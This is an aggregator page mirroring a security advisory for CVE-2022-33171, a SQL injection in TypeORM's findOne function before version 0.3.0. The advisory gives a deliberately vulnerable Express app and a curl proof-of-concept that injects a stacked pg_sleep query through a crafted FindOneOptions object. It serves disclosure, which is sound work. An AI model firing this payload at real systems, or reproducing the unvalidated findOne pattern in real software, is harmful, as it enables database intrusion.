Lucene search
K

TypeORM SQL Injection

🗓️ 01 Jul 2022 00:00:00Reported by lixtsType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 844 Views

TypeORM SQL Injection vulnerability in findOne function with crafted FindOneOption

Related
Code
ReporterTitlePublishedViews
Family
0day.today
TypeORM SQL Injection Vulnerability
1 Jul 202200:00
zdt
0day.today
TypeORM 0.3.7 Information Disclosure Vulnerability
16 Aug 202200:00
zdt
GithubExploit
Exploit for SQL Injection in Typeorm
8 Dec 202510:17
githubexploit
ATTACKERKB
CVE-2022-33171
4 Jul 202216:15
attackerkb
Circl
CVE-2022-33171
4 Jul 202220:12
circl
CNNVD
TypeORM SQL注入漏洞
1 Jul 202200:00
cnnvd
Check Point Advisories
TypeORM FindOne Authentication Bypass (CVE-2022-33171)
2 Nov 202200:00
checkpoint_advisories
CVE
CVE-2022-33171
4 Jul 202215:51
cve
Cvelist
CVE-2022-33171
4 Jul 202215:51
cvelist
Github Security Blog
SQL injection in typeORM
5 Jul 202200:00
github
Rows per page
`typeorm CVE-2022-33171  
  
findOne(id), findOneOrFail(id)  
  
The findOne function in TypeORM before 0.3.0 can either be supplied with a string or a FindOneOptions object. When input to the function is a user-controlled parsed JSON object, supplying a crafted FindOneOptions instead of an id string leads to SQL injection.  
  
The issue was already fixed from version 0.3.0 onward when we encountered it.  
  
Maintainer does not consider this a vulnerability and stated the root cause is bad input validation.  
  
On one hand input validation is definitely insufficient. On the other hand this is a function argument that is meant to be fed user input and as such one would think it safe to put user input there.  
  
Vulnerable app:  
```  
  
import {  
Entity,  
PrimaryGeneratedColumn,  
Connection,  
ConnectionOptions,  
Repository,  
createConnection  
} from 'typeorm';  
import * as express from 'express';  
import {Application, Request, Response} from 'express';  
  
let connection: Connection;  
  
async function myListener(request: Request, response: Response) {  
if(!connection)  
connection = await createConnection(connectionOpts);  
const userRepo: Repository<User> = connection.getRepository(User);  
  
const ids: string[] = request.body;  
for(const id of ids) {  
try {  
await userRepo.findOne(id);  
} catch(err: any) {  
console.log(err);  
}  
}  
response.json({});  
}  
  
@Entity({ name: 'user' })  
class User {  
@PrimaryGeneratedColumn('uuid')  
id: string;  
}  
  
const connectionOpts: ConnectionOptions = {  
type: 'postgres',  
name: 'myconnection',  
host: 'db-host',  
port: 5432,  
username: 'username',  
password: 'password',  
database: 'mydb',  
schema: 'public',  
entities: [User]  
}  
  
const app: Application = express();  
app.use(express.json());  
app.post( "/findByIds", myListener);  
app.listen(4444, () => console.log('App started'));  
  
```  
  
Exploit:  
curl -v [http://host/findByIds](http://containerip:4444/findByIds)' -H 'Content-Type: application/json' --data '[{"where":"1=1; SELECT pg_sleep(10) --"}]'  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2022 00:00Current
0.1Low risk
Vulners AI Score0.1
EPSS0.05298
844